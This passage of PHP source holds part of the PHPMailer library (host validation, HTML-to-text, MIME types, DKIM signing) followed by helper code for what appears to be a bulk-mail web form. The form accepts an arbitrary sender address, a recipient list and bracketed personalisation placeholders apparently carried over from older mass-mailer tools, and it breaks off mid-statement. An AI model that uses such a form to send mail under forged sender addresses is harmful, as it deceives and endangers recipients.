(!empty($this->Hostname)) { $result = $this->Hostname; } elseif (isset($_SERVER) && array_key_exists('SERVER_NAME', $_SERVER)) { $result = $_SERVER['SERVER_NAME']; } elseif (function_exists('gethostname') && gethostname() !== false) { $result = gethostname(); } elseif (php_uname('n') !== '') { $result = php_uname('n'); } if (!static::isValidHost($result)) { return 'localhost.localdomain'; } return $result; } /** * Validate whether a string contains a valid value to use as a hostname or IP address. * IPv6 addresses must include [], e.g. `[::1]`, not just `::1`. * * @param string $host The host name or IP address to check * * @return bool */ public static function isValidHost($host) { //Simple syntax limits if ( empty($host) || !is_string($host) || strlen($host) > 256 || !preg_match('/^([a-z\d.-]*|\[[a-f\d:]+\])$/i', $host) ) { return false; } //Looks like a bracketed IPv6 address if (strlen($host) > 2 && substr($host, 0, 1) === '[' && substr($host, -1, 1) === ']') { return filter_var(substr($host, 1, -1), FILTER_VALIDATE_IP, FILTER_FLAG_IPV6) !== false; } //If removing all the dots results in a numeric string, it must be an IPv4 address. //Need to check this first because otherwise things like `999.0.0.0` are considered valid host names if (is_numeric(str_replace('.', '', $host))) { //Is it a valid IPv4 address? return filter_var($host, FILTER_VALIDATE_IP, FILTER_FLAG_IPV4) !== false; } //Is it a syntactically valid hostname (when embedded in a URL)? return filter_var('https://' . $host, FILTER_VALIDATE_URL) !== false; } /** * Check whether the supplied address uses Unicode in the local part. * * @return bool */ protected function addressHasUnicodeLocalPart($address) { return (bool) preg_match('/[\x80-\xFF].*@/', $address); } /** * Check whether any of the supplied addresses use Unicode in the local part. * * @return bool */ protected function anyAddressHasUnicodeLocalPart($addresses) { foreach ($addresses as $address) { if (is_array($address)) { $address = $address[0]; } if ($this->addressHasUnicodeLocalPart($address)) { return true; } } return false; } /** * Check whether the message requires SMTPUTF8 based on what's known so far. * * @return bool */ public function needsSMTPUTF8() { return $this->UseSMTPUTF8; } /** * Get an error message in the current language. * * @param string $key * * @return string */ protected static function lang($key) { if (count(self::$language) < 1) { self::setLanguage(); //Set the default language } if (array_key_exists($key, self::$language)) { if ('smtp_connect_failed' === $key) { //Include a link to troubleshooting docs on SMTP connection failure. //This is by far the biggest cause of support questions //but it's usually not PHPMailer's fault. return self::$language[$key] . ' https://github.com/PHPMailer/PHPMailer/wiki/Troubleshooting'; } return self::$language[$key]; } //Return the key as a fallback return $key; } /** * Build an error message starting with a generic one and adding details if possible. * * @param string $base_key * @return string */ private function getSmtpErrorMessage($base_key) { $message = self::lang($base_key); $error = $this->smtp->getError(); if (!empty($error['error'])) { $message .= ' ' . $error['error']; if (!empty($error['detail'])) { $message .= ' ' . $error['detail']; } } return $message; } /** * Check if an error occurred. * * @return bool True if an error did occur */ public function isError() { return $this->error_count > 0; } /** * Add a custom header. * $name value can be overloaded to contain * both header name and value (name:value). * * @param string $name Custom header name * @param string|null $value Header value * * @return bool True if a header was set successfully * @throws Exception */ public function addCustomHeader($name, $value = null) { if (null === $value && strpos($name, ':') !== false) { //Value passed in as name:value list($name, $value) = explode(':', $name, 2); } $name = trim($name); $value = (null === $value) ? '' : trim($value); //Ensure name is not empty, and that neither name nor value contain line breaks if (empty($name) || strpbrk($name . $value, "\r\n") !== false) { if ($this->exceptions) { throw new Exception(self::lang('invalid_header')); } return false; } $this->CustomHeader[] = [$name, $value]; return true; } /** * Returns all custom headers. * * @return array */ public function getCustomHeaders() { return $this->CustomHeader; } /** * Create a message body from an HTML string. * Automatically inlines images and creates a plain-text version by converting the HTML, * overwriting any existing values in Body and AltBody. * Do not source $message content from user input! * $basedir is prepended when handling relative URLs, e.g. <img src="/images/a.png"> and must not be empty * will look for an image file in $basedir/images/a.png and convert it to inline. * If you don't provide a $basedir, relative paths will be left untouched (and thus probably break in email) * Converts data-uri images into embedded attachments. * If you don't want to apply these transformations to your HTML, just set Body and AltBody directly. * * @param string $message HTML message string * @param string $basedir Absolute path to a base directory to prepend to relative paths to images * @param bool|callable $advanced Whether to use the internal HTML to text converter * or your own custom converter * @return string The transformed message body * * @throws Exception * * @see PHPMailer::html2text() */ public function msgHTML($message, $basedir = '', $advanced = false) { $cid_domain = 'phpmailer.0'; if (filter_var($this->From, FILTER_VALIDATE_EMAIL)) { //prepend with a character to create valid RFC822 string in order to validate $cid_domain = substr($this->From, strrpos($this->From, '@') + 1); } preg_match_all('/(?<!-)(src|background)=["\'](.*)["\']/Ui', $message, $images); if (array_key_exists(2, $images)) { if (strlen($basedir) > 1 && '/' !== substr($basedir, -1)) { //Ensure $basedir has a trailing / $basedir .= '/'; } foreach ($images[2] as $imgindex => $url) { //Convert data URIs into embedded images //e.g. "data:image/gif;base64,R0lGODlhAQABAAAAACH5BAEKAAEALAAAAAABAAEAAAICTAEAOw==" $match = []; if (preg_match('#^data:(image/(?:jpe?g|gif|png));?(base64)?,(.+)#', $url, $match)) { if (count($match) === 4 && static::ENCODING_BASE64 === $match[2]) { $data = base64_decode($match[3]); } elseif ('' === $match[2]) { $data = rawurldecode($match[3]); } else { //Not recognised so leave it alone continue; } //Hash the decoded data, not the URL, so that the same data-URI image used in multiple places //will only be embedded once, even if it used a different encoding $cid = substr(hash('sha256', $data), 0, 32) . '@' . $cid_domain; //RFC2392 S 2 if (!$this->cidExists($cid)) { $this->addStringEmbeddedImage( $data, $cid, 'embed' . $imgindex, static::ENCODING_BASE64, $match[1] ); } $message = str_replace( $images[0][$imgindex], $images[1][$imgindex] . '="cid:' . $cid . '"', $message ); continue; } if ( //Only process relative URLs if a basedir is provided (i.e. no absolute local paths) !empty($basedir) //Ignore URLs containing parent dir traversal (..) && (strpos($url, '..') === false) //Do not change urls that are already inline images && 0 !== strpos($url, 'cid:') //Do not change absolute URLs, including anonymous protocol && !preg_match('#^[a-z][a-z0-9+.-]*:?//#i', $url) ) { $filename = static::mb_pathinfo($url, PATHINFO_BASENAME); $directory = dirname($url); if ('.' === $directory) { $directory = ''; } //RFC2392 S 2 $cid = substr(hash('sha256', $url), 0, 32) . '@' . $cid_domain; if (strlen($basedir) > 1 && '/' !== substr($basedir, -1)) { $basedir .= '/'; } if (strlen($directory) > 1 && '/' !== substr($directory, -1)) { $directory .= '/'; } if ( $this->addEmbeddedImage( $basedir . $directory . $filename, $cid, $filename, static::ENCODING_BASE64, static::_mime_types((string) static::mb_pathinfo($filename, PATHINFO_EXTENSION)) ) ) { $message = preg_replace( '/' . $images[1][$imgindex] . '=["\']' . preg_quote($url, '/') . '["\']/Ui', $images[1][$imgindex] . '="cid:' . $cid . '"', $message ); } } } } $this->isHTML(); //Convert all message body line breaks to LE, makes quoted-printable encoding work much better $this->Body = static::normalizeBreaks($message); $this->AltBody = static::normalizeBreaks($this->html2text($message, $advanced)); if (!$this->alternativeExists()) { $this->AltBody = 'This is an HTML-only message. To view it, activate HTML in your email application.' . static::$LE; } return $this->Body; } /** * Convert an HTML string into plain text. * This is used by msgHTML(). * Note - older versions of this function used a bundled advanced converter * which was removed for license reasons in #232. * Example usage: * * ```php * //Use default conversion * $plain = $mail->html2text($html); * //Use your own custom converter * $plain = $mail->html2text($html, function($html) { * $converter = new MyHtml2text($html); * return $converter->get_text(); * }); * ``` * * @param string $html The HTML text to convert * @param bool|callable $advanced Any boolean value to use the internal converter, * or provide your own callable for custom conversion. * *Never* pass user-supplied data into this parameter * * @return string */ public function html2text($html, $advanced = false) { if (is_callable($advanced)) { return call_user_func($advanced, $html); } return html_entity_decode( trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/si', '', $html))), ENT_QUOTES, $this->CharSet ); } /** * Get the MIME type for a file extension. * * @param string $ext File extension * * @return string MIME type of file */ public static function _mime_types($ext = '') { $mimes = [ 'xl' => 'application/excel', 'js' => 'application/javascript', 'hqx' => 'application/mac-binhex40', 'cpt' => 'application/mac-compactpro', 'bin' => 'application/macbinary', 'doc' => 'application/msword', 'word' => 'application/msword', 'xlsx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.sheet', 'xltx' => 'application/vnd.openxmlformats-officedocument.spreadsheetml.template', 'potx' => 'application/vnd.openxmlformats-officedocument.presentationml.template', 'ppsx' => 'application/vnd.openxmlformats-officedocument.presentationml.slideshow', 'pptx' => 'application/vnd.openxmlformats-officedocument.presentationml.presentation', 'sldx' => 'application/vnd.openxmlformats-officedocument.presentationml.slide', 'docx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.document', 'dotx' => 'application/vnd.openxmlformats-officedocument.wordprocessingml.template', 'xlam' => 'application/vnd.ms-excel.addin.macroEnabled.12', 'xlsb' => 'application/vnd.ms-excel.sheet.binary.macroEnabled.12', 'class' => 'application/octet-stream', 'dll' => 'application/octet-stream', 'dms' => 'application/octet-stream', 'exe' => 'application/octet-stream', 'lha' => 'application/octet-stream', 'lzh' => 'application/octet-stream', 'psd' => 'application/octet-stream', 'sea' => 'application/octet-stream', 'so' => 'application/octet-stream', 'oda' => 'application/oda', 'pdf' => 'application/pdf', 'ai' => 'application/postscript', 'eps' => 'application/postscript', 'ps' => 'application/postscript', 'smi' => 'application/smil', 'smil' => 'application/smil', 'mif' => 'application/vnd.mif', 'xls' => 'application/vnd.ms-excel', 'ppt' => 'application/vnd.ms-powerpoint', 'wbxml' => 'application/vnd.wap.wbxml', 'wmlc' => 'application/vnd.wap.wmlc', 'dcr' => 'application/x-director', 'dir' => 'application/x-director', 'dxr' => 'application/x-director', 'dvi' => 'application/x-dvi', 'gtar' => 'application/x-gtar', 'php3' => 'application/x-httpd-php', 'php4' => 'application/x-httpd-php', 'php' => 'application/x-httpd-php', 'phtml' => 'application/x-httpd-php', 'phps' => 'application/x-httpd-php-source', 'swf' => 'application/x-shockwave-flash', 'sit' => 'application/x-stuffit', 'tar' => 'application/x-tar', 'tgz' => 'application/x-tar', 'xht' => 'application/xhtml+xml', 'xhtml' => 'application/xhtml+xml', 'zip' => 'application/zip', 'mid' => 'audio/midi', 'midi' => 'audio/midi', 'mp2' => 'audio/mpeg', 'mp3' => 'audio/mpeg', 'm4a' => 'audio/mp4', 'mpga' => 'audio/mpeg', 'aif' => 'audio/x-aiff', 'aifc' => 'audio/x-aiff', 'aiff' => 'audio/x-aiff', 'ram' => 'audio/x-pn-realaudio', 'rm' => 'audio/x-pn-realaudio', 'rpm' => 'audio/x-pn-realaudio-plugin', 'ra' => 'audio/x-realaudio', 'wav' => 'audio/x-wav', 'mka' => 'audio/x-matroska', 'bmp' => 'image/bmp', 'gif' => 'image/gif', 'jpeg' => 'image/jpeg', 'jpe' => 'image/jpeg', 'jpg' => 'image/jpeg', 'png' => 'image/png', 'tiff' => 'image/tiff', 'tif' => 'image/tiff', 'webp' => 'image/webp', 'avif' => 'image/avif', 'heif' => 'image/heif', 'heifs' => 'image/heif-sequence', 'heic' => 'image/heic', 'heics' => 'image/heic-sequence', 'eml' => 'message/rfc822', 'css' => 'text/css', 'html' => 'text/html', 'htm' => 'text/html', 'shtml' => 'text/html', 'log' => 'text/plain', 'text' => 'text/plain', 'txt' => 'text/plain', 'rtx' => 'text/richtext', 'rtf' => 'text/rtf', 'vcf' => 'text/vcard', 'vcard' => 'text/vcard', 'ics' => 'text/calendar', 'xml' => 'text/xml', 'xsl' => 'text/xml', 'csv' => 'text/csv', 'wmv' => 'video/x-ms-wmv', 'mpeg' => 'video/mpeg', 'mpe' => 'video/mpeg', 'mpg' => 'video/mpeg', 'mp4' => 'video/mp4', 'm4v' => 'video/mp4', 'mov' => 'video/quicktime', 'qt' => 'video/quicktime', 'rv' => 'video/vnd.rn-realvideo', 'avi' => 'video/x-msvideo', 'movie' => 'video/x-sgi-movie', 'webm' => 'video/webm', 'mkv' => 'video/x-matroska', ]; $ext = strtolower($ext); if (array_key_exists($ext, $mimes)) { return $mimes[$ext]; } return 'application/octet-stream'; } /** * Map a file name to a MIME type. * Defaults to 'application/octet-stream', i.e.. arbitrary binary data. * * @param string $filename A file name or full path, does not need to exist as a file * * @return string */ public static function filenameToType($filename) { //In case the path is a URL, strip any query string before getting extension $qpos = strpos($filename, '?'); if (false !== $qpos) { $filename = substr($filename, 0, $qpos); } $ext = static::mb_pathinfo($filename, PATHINFO_EXTENSION); return static::_mime_types($ext); } /** * Multi-byte-safe pathinfo replacement. * Drop-in replacement for pathinfo(), but multibyte- and cross-platform-safe. * * @see https://www.php.net/manual/en/function.pathinfo.php#107461 * * @param string $path A filename or path, does not need to exist as a file * @param int|string $options Either a PATHINFO_* constant, * or a string name to return only the specified piece * * @return string|array */ public static function mb_pathinfo($path, $options = null) { $ret = ['dirname' => '', 'basename' => '', 'extension' => '', 'filename' => '']; $pathinfo = []; if (preg_match('#^(.*?)[\\\\/]*(([^/\\\\]*?)(\.([^.\\\\/]+?)|))[\\\\/.]*$#m', $path, $pathinfo)) { if (array_key_exists(1, $pathinfo)) { $ret['dirname'] = $pathinfo[1]; } if (array_key_exists(2, $pathinfo)) { $ret['basename'] = $pathinfo[2]; } if (array_key_exists(5, $pathinfo)) { $ret['extension'] = $pathinfo[5]; } if (array_key_exists(3, $pathinfo)) { $ret['filename'] = $pathinfo[3]; } } switch ($options) { case PATHINFO_DIRNAME: case 'dirname': return $ret['dirname']; case PATHINFO_BASENAME: case 'basename': return $ret['basename']; case PATHINFO_EXTENSION: case 'extension': return $ret['extension']; case PATHINFO_FILENAME: case 'filename': return $ret['filename']; default: return $ret; } } /** * Set or reset instance properties. * You should avoid this function - it's more verbose, less efficient, more error-prone and * harder to debug than setting properties directly. * Usage Example: * `$mail->set('SMTPSecure', static::ENCRYPTION_STARTTLS);` * is the same as: * `$mail->SMTPSecure = static::ENCRYPTION_STARTTLS;`. * * @param string $name The property name to set * @param mixed $value The value to set the property to * * @return bool */ public function set($name, $value = '') { if (property_exists($this, $name)) { $this->{$name} = $value; return true; } $this->setError(self::lang('variable_set') . $name); return false; } /** * Strip newlines to prevent header injection. * * @param string $str * * @return string */ public function secureHeader($str) { return trim(str_replace(["\r", "\n"], '', $str)); } /** * Normalize line breaks in a string. * Converts UNIX LF, Mac CR and Windows CRLF line breaks into a single line break format. * Defaults to CRLF (for message bodies) and preserves consecutive breaks. * * @param string $text * @param string $breaktype What kind of line break to use; defaults to static::$LE * * @return string */ public static function normalizeBreaks($text, $breaktype = null) { if (null === $breaktype) { $breaktype = static::$LE; } //Normalise to \n $text = str_replace([self::CRLF, "\r"], "\n", $text); //Now convert LE as needed if ("\n" !== $breaktype) { $text = str_replace("\n", $breaktype, $text); } return $text; } /** * Remove trailing whitespace from a string. * * @param string $text * * @return string The text to remove whitespace from */ public static function stripTrailingWSP($text) { return rtrim($text, " \r\n\t"); } /** * Strip trailing line breaks from a string. * * @param string $text * * @return string The text to remove breaks from */ public static function stripTrailingBreaks($text) { return rtrim($text, "\r\n"); } /** * Return the current line break format string. * * @return string */ public static function getLE() { return static::$LE; } /** * Set the line break format string, e.g. "\r\n". * * @param string $le */ protected static function setLE($le) { static::$LE = $le; } /** * Set the public and private key files and password for S/MIME signing. * * @param string $cert_filename * @param string $key_filename * @param string $key_pass Password for private key * @param string $extracerts_filename Optional path to chain certificate */ public function sign($cert_filename, $key_filename, $key_pass, $extracerts_filename = '') { $this->sign_cert_file = $cert_filename; $this->sign_key_file = $key_filename; $this->sign_key_pass = $key_pass; $this->sign_extracerts_file = $extracerts_filename; } /** * Quoted-Printable-encode a DKIM header. * * @param string $txt * * @return string */ public function DKIM_QP($txt) { $line = ''; $len = strlen($txt); for ($i = 0; $i < $len; ++$i) { $ord = ord($txt[$i]); if (((0x21 <= $ord) && ($ord <= 0x3A)) || $ord === 0x3C || ((0x3E <= $ord) && ($ord <= 0x7E))) { $line .= $txt[$i]; } else { $line .= '=' . sprintf('%02X', $ord); } } return $line; } /** * Generate a DKIM signature. * * @param string $signHeader * * @throws Exception * * @return string The DKIM signature value */ public function DKIM_Sign($signHeader) { if (!defined('PKCS7_TEXT')) { if ($this->exceptions) { throw new Exception(self::lang('extension_missing') . 'openssl'); } return ''; } $privKeyStr = !empty($this->DKIM_private_string) ? $this->DKIM_private_string : file_get_contents($this->DKIM_private); if ('' !== $this->DKIM_passphrase) { $privKey = openssl_pkey_get_private($privKeyStr, $this->DKIM_passphrase); } else { $privKey = openssl_pkey_get_private($privKeyStr); } if (openssl_sign($signHeader, $signature, $privKey, 'sha256WithRSAEncryption')) { if (\PHP_MAJOR_VERSION < 8) { // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.openssl_pkey_freeDeprecated openssl_pkey_free($privKey); } return base64_encode($signature); } if (\PHP_MAJOR_VERSION < 8) { // phpcs:ignore PHPCompatibility.FunctionUse.RemovedFunctions.openssl_pkey_freeDeprecated openssl_pkey_free($privKey); } return ''; } /** * Generate a DKIM canonicalization header. * Uses the 'relaxed' algorithm from RFC6376 section 3.4.2. * Canonicalized headers should *always* use CRLF, regardless of mailer setting. * * @see https://www.rfc-editor.org/rfc/rfc6376#section-3.4.2 * * @param string $signHeader Header * * @return string */ public function DKIM_HeaderC($signHeader) { //Normalize breaks to CRLF (regardless of the mailer) $signHeader = static::normalizeBreaks($signHeader, self::CRLF); //Unfold header lines //Note PCRE \s is too broad a definition of whitespace; RFC5322 defines it as `[ \t]` //@see https://www.rfc-editor.org/rfc/rfc5322#section-2.2 //That means this may break if you do something daft like put vertical tabs in your headers. $signHeader = preg_replace('/\r\n[ \t]+/', ' ', $signHeader); //Break headers out into an array $lines = explode(self::CRLF, $signHeader); foreach ($lines as $key => $line) { //If the header is missing a :, skip it as it's invalid //This is likely to happen because the explode() above will also split //on the trailing LE, leaving an empty line if (strpos($line, ':') === false) { continue; } list($heading, $value) = explode(':', $line, 2); //Lower-case header name $heading = strtolower($heading); //Collapse white space within the value, also convert WSP to space $value = preg_replace('/[ \t]+/', ' ', $value); //RFC6376 is slightly unclear here - it says to delete space at the *end* of each value //But then says to delete space before and after the colon. //Net result is the same as trimming both ends of the value. //By elimination, the same applies to the field name $lines[$key] = trim($heading, " \t") . ':' . trim($value, " \t"); } return implode(self::CRLF, $lines); } /** * Generate a DKIM canonicalization body. * Uses the 'simple' algorithm from RFC6376 section 3.4.3. * Canonicalized bodies should *always* use CRLF, regardless of mailer setting. * * @see https://www.rfc-editor.org/rfc/rfc6376#section-3.4.3 * * @param string $body Message Body * * @return string */ public function DKIM_BodyC($body) { if (empty($body)) { return self::CRLF; } //Normalize line endings to CRLF $body = static::normalizeBreaks($body, self::CRLF); //Reduce multiple trailing line breaks to a single one return static::stripTrailingBreaks($body) . self::CRLF; } /** * Create the DKIM header and body in a new message header. * * @param string $headers_line Header lines * @param string $subject Subject * @param string $body Body * * @throws Exception * * @return string */ public function DKIM_Add($headers_line, $subject, $body) { $DKIMsignatureType = 'rsa-sha256'; //Signature & hash algorithms $DKIMcanonicalization = 'relaxed/simple'; //Canonicalization methods of header & body $DKIMquery = 'dns/txt'; //Query method $DKIMtime = time(); //Always sign these headers without being asked //Recommended list from https://www.rfc-editor.org/rfc/rfc6376#section-5.4.1 $autoSignHeaders = [ 'from', 'to', 'cc', 'date', 'subject', 'reply-to', 'message-id', 'content-type', 'mime-version', 'x-mailer', ]; if (stripos($headers_line, 'Subject') === false) { $headers_line .= 'Subject: ' . $subject . static::$LE; } $headerLines = explode(static::$LE, $headers_line); $currentHeaderLabel = ''; $currentHeaderValue = ''; $parsedHeaders = []; $headerLineIndex = 0; $headerLineCount = count($headerLines); foreach ($headerLines as $headerLine) { $matches = []; if (preg_match('/^([^ \t]*?)(?::[ \t]*)(.*)$/', $headerLine, $matches)) { if ($currentHeaderLabel !== '') { //We were previously in another header; This is the start of a new header, so save the previous one $parsedHeaders[] = ['label' => $currentHeaderLabel, 'value' => $currentHeaderValue]; } $currentHeaderLabel = $matches[1]; $currentHeaderValue = $matches[2]; } elseif (preg_match('/^[ \t]+(.*)$/', $headerLine, $matches)) { //This is a folded continuation of the current header, so unfold it $currentHeaderValue .= ' ' . $matches[1]; } ++$headerLineIndex; if ($headerLineIndex >= $headerLineCount) { //This was the last line, so finish off this header $parsedHeaders[] = ['label' => $currentHeaderLabel, 'value' => $currentHeaderValue]; } } $copiedHeaders = []; $headersToSignKeys = []; $headersToSign = []; foreach ($parsedHeaders as $header) { //Is this header one that must be included in the DKIM signature? if (in_array(strtolower($header['label']), $autoSignHeaders, true)) { $headersToSignKeys[] = $header['label']; $headersToSign[] = $header['label'] . ': ' . $header['value']; if ($this->DKIM_copyHeaderFields) { $copiedHeaders[] = $header['label'] . ':' . //Note no space after this, as per RFC str_replace('|', '=7C', $this->DKIM_QP($header['value'])); } continue; } //Is this an extra custom header we've been asked to sign? if (in_array($header['label'], $this->DKIM_extraHeaders, true)) { //Find its value in custom headers foreach ($this->CustomHeader as $customHeader) { if ($customHeader[0] === $header['label']) { $headersToSignKeys[] = $header['label']; $headersToSign[] = $header['label'] . ': ' . $header['value']; if ($this->DKIM_copyHeaderFields) { $copiedHeaders[] = $header['label'] . ':' . //Note no space after this, as per RFC str_replace('|', '=7C', $this->DKIM_QP($header['value'])); } //Skip straight to the next header continue 2; } } } } $copiedHeaderFields = ''; if ($this->DKIM_copyHeaderFields && count($copiedHeaders) > 0) { //Assemble a DKIM 'z' tag $copiedHeaderFields = ' z='; $first = true; foreach ($copiedHeaders as $copiedHeader) { if (!$first) { $copiedHeaderFields .= static::$LE . ' |'; } //Fold long values if (strlen($copiedHeader) > self::STD_LINE_LENGTH - 3) { $copiedHeaderFields .= substr( chunk_split($copiedHeader, self::STD_LINE_LENGTH - 3, static::$LE . self::FWS), 0, -strlen(static::$LE . self::FWS) ); } else { $copiedHeaderFields .= $copiedHeader; } $first = false; } $copiedHeaderFields .= ';' . static::$LE; } $headerKeys = ' h=' . implode(':', $headersToSignKeys) . ';' . static::$LE; $headerValues = implode(static::$LE, $headersToSign); $body = $this->DKIM_BodyC($body); //Base64 of packed binary SHA-256 hash of body $DKIMb64 = base64_encode(pack('H*', hash('sha256', $body))); $ident = ''; if ('' !== $this->DKIM_identity) { $ident = ' i=' . $this->DKIM_identity . ';' . static::$LE; } //The DKIM-Signature header is included in the signature *except for* the value of the `b` tag //which is appended after calculating the signature //https://www.rfc-editor.org/rfc/rfc6376#section-3.5 $dkimSignatureHeader = 'DKIM-Signature: v=1;' . ' d=' . $this->DKIM_domain . ';' . ' s=' . $this->DKIM_selector . ';' . static::$LE . ' a=' . $DKIMsignatureType . ';' . ' q=' . $DKIMquery . ';' . ' t=' . $DKIMtime . ';' . ' c=' . $DKIMcanonicalization . ';' . static::$LE . $headerKeys . $ident . $copiedHeaderFields . ' bh=' . $DKIMb64 . ';' . static::$LE . ' b='; //Canonicalize the set of headers $canonicalizedHeaders = $this->DKIM_HeaderC( $headerValues . static::$LE . $dkimSignatureHeader ); $signature = $this->DKIM_Sign($canonicalizedHeaders); $signature = trim(chunk_split($signature, self::STD_LINE_LENGTH - 3, static::$LE . self::FWS)); return static::normalizeBreaks($dkimSignatureHeader . $signature); } /** * Detect if a string contains a line longer than the maximum line length * allowed by RFC 2822 section 2.1.1. * * @param string $str * * @return bool */ public static function hasLineLongerThanMax($str) { return (bool) preg_match('/^(.{' . (self::MAX_LINE_LENGTH + strlen(static::$LE)) . ',})/m', $str); } /** * If a string contains any "special" characters, double-quote the name, * and escape any double quotes with a backslash. * * @param string $str * * @return string * * @see RFC822 3.4.1 */ public static function quotedString($str) { if (preg_match('/[ ()<>@,;:"\/\[\]?=]/', $str)) { //If the string contains any of these chars, it must be double-quoted //and any double quotes must be escaped with a backslash return '"' . str_replace('"', '\\"', $str) . '"'; } //Return the string untouched, it doesn't need quoting return $str; } /** * Allows for public read access to 'to' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getToAddresses() { return $this->to; } /** * Allows for public read access to 'cc' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getCcAddresses() { return $this->cc; } /** * Allows for public read access to 'bcc' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getBccAddresses() { return $this->bcc; } /** * Allows for public read access to 'ReplyTo' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getReplyToAddresses() { return $this->ReplyTo; } /** * Allows for public read access to 'all_recipients' property. * Before the send() call, queued addresses (i.e. with IDN) are not yet included. * * @return array */ public function getAllRecipientAddresses() { return $this->all_recipients; } /** * Perform a callback. * * @param bool $isSent * @param array $to * @param array $cc * @param array $bcc * @param string $subject * @param string $body * @param string $from * @param array $extra */ protected function doCallback($isSent, $to, $cc, $bcc, $subject, $body, $from, $extra) { if (!empty($this->action_function) && is_callable($this->action_function)) { call_user_func($this->action_function, $isSent, $to, $cc, $bcc, $subject, $body, $from, $extra); } } /** * Get the OAuthTokenProvider instance. * * @return OAuthTokenProvider */ public function getOAuth() { return $this->oauth; } /** * Set an OAuthTokenProvider instance. */ public function setOAuth(OAuthTokenProvider $oauth) { $this->oauth = $oauth; } } } namespace { function e($value): string { return htmlspecialchars((string) $value, ENT_QUOTES | ENT_SUBSTITUTE, 'UTF-8'); } function dsField(array $input, string $key, string $default = ''): string { $value = $input[$key] ?? $default; if (!is_string($value)) throw new InvalidArgumentException('Invalid form field.'); return $value; } function dsEmail(string $email): string { $email = trim($email); if (strlen($email) > 254 || preg_match('/[\r\n\x00]/', $email) || !filter_var($email, FILTER_VALIDATE_EMAIL)) throw new InvalidArgumentException('Use valid bare email addresses without display names.'); return $email; } function dsHeader(string $value, string $label, bool $required = true): string { $value = trim($value); if (($required && $value === '') || strlen($value) > 200 || preg_match('/[\r\n\x00]/', $value) || !preg_match('//u', $value)) throw new InvalidArgumentException($label . ' must be one UTF-8 line, at most 200 bytes.'); return $value; } function dsRecipients(string $raw, int $max = 0): array { $unique = []; foreach (preg_split('/[\r\n,;]+/', $raw) ?: [] as $email) { if (trim($email) === '') continue; $email = dsEmail($email); $unique[strtolower($email)] = $email; } if (!$unique) throw new InvalidArgumentException('Enter at least one recipient.'); if ($max > 0 && count($unique) > $max) throw new InvalidArgumentException('Enter at most ' . $max . ' unique recipients.'); return array_values($unique); } function dsPersonalize(string $text, string $email, bool $html = false): string { [$user, $domain] = explode('@', dsEmail($email), 2); $values = ['email' => $email, 'email_user' => $user, 'email_domain' => $domain, 'date' => gmdate('Y-m-d H:i:s \U\T\C')]; $replace = []; foreach ($values as $key => $value) $replace['{{' . $key . '}}'] = $html ? e($value) : $value; foreach (['email' => 'email', 'emailuser' => 'email_user', 'emaildomain' => 'email_domain', 'time' => 'date'] as $key => $name) $replace['[-' . $key . '-]'] = $replace['{{' . $name . '}}']; return strtr($text, $replace); } function dsMessage(array $input, int $maxBytes): array { $from = dsEmail(dsField($input, 'from_email')); $reply = trim(dsField($input, 'reply_to')); $message = ['from_email' => $from, 'from_name' => dsHeader(dsField($input, 'from_name'), 'Sender name', false), 'reply_to' => $reply === '' ? $from : dsEmail($reply), 'subject' => dsHeader(dsField($input, 'subject'), 'Subject'), 'body' => dsField($input, 'body'), 'format' => dsField($input, 'format', 'html'), 'alt_body' => dsField($input, 'alt_body'), 'attachments' => []]; if (!in_array($message['format'], ['html', 'plain'], true)) throw new InvalidArgumentException('Choose HTML or plain text.'); $text = $message['body'] . $message['alt_body']; if (trim($message['body']) === '' || strlen($text) > $maxBytes || strpos($text, "\0") !== false || !preg_match('//u', $text)) throw new InvalidArgumentException('Add a UTF-8 message within the configured size limit.'); if (preg_match('/\[-random(?:letters|string|number|md5)-\]/i', $message['subject'] . $text)) throw new InvalidArgumentException('Replace random legacy placeholders with meaningful email or date fields.'); if ($message['format'] === 'html' && preg_match('~<\s*(script|iframe|object|embed|form|input|button|textarea)\b~i', $message['body'])) throw new InvalidArgumentException('Email HTML cannot contain scripts, embedded frames, or forms. Use ordinary text, links, images, and tables.'); return $message; } function dsAttachments(array $files, int $maxBytes): array { if (!$files) return []; foreach (['name','tmp_name','error','size'] as $key) if (!isset($files[$key]) || !is_array($files[$key])) throw new InvalidArgumentException('Invalid attachment upload.'); if (count($files['name']) > 5) throw new InvalidArgumentException('Attach at most five files.'); $result = []; $total = 0; $types = ['pdf' => 'application/pdf', 'txt' => 'text/plain', 'csv' => 'text/csv', 'png' => 'image/png', 'jpg' => 'image/jpeg', 'jpeg' => 'image/jpeg']; foreach ($files['name'] as $i => $name) { $error = $files['error'][$i] ?? UPLOAD_ERR_NO_FILE; if ($error === UPLOAD_ERR_NO_FILE) continue; if ($error !== UPLOAD_ERR_OK) throw new InvalidArgumentException('An attachment did not upload. Check PHP upload_max_filesize and post_max_size.'); $path = $files['tmp_name'][$i] ?? ''; if (!is_string($path) || !is_uploaded_file($path) || !is_string($name)) throw new InvalidArgumentException('Invalid attachment upload.'); $name = basename(str_replace('\\', '/', $name)); $extension = strtolower(pathinfo($name, PATHINFO_EXTENSION)); if ($name === '' || strlen($name) > 180 || preg_match('/[\x00-\x1f\x7f]/', $name) || !preg_match('//u', $name) || !isset($types[$extension])) throw new InvalidArgumentException('Allowed files: PDF, TXT, CSV, PNG, and JPEG.'); $size = filesize($path); if ($size === false || ($total += $size) > $maxBytes) throw new InvalidArgumentException('Attachments exceed the combined size limit.'); $bytes = file_get_contents($path); if ($bytes === false) throw new InvalidArgumentException('Could not read an uploaded attachment.'); // Signature checks use built-in string functions; fileinfo/GD are not required. $valid = in_array($extension, ['txt','csv'], true) ? (preg_match('//u', $bytes) && !preg_match('/[\x00-\x08\x0b\x0c\x0e-\x1f]/', $bytes)) : ($extension === 'pdf' ? strncmp($bytes, '%PDF-', 5) === 0 : ($extension === 'png' ? strncmp($bytes, "\x89PNG\r\n\x1a\n", 8) === 0 : strncmp($bytes, "\xff\xd8\xff", 3) === 0)); if (!$valid) throw new InvalidArgumentException('Attachment contents do not match the permitted file type.'); $result[] = ['name' => $name, 'mime' => $types[$extension], 'data' => 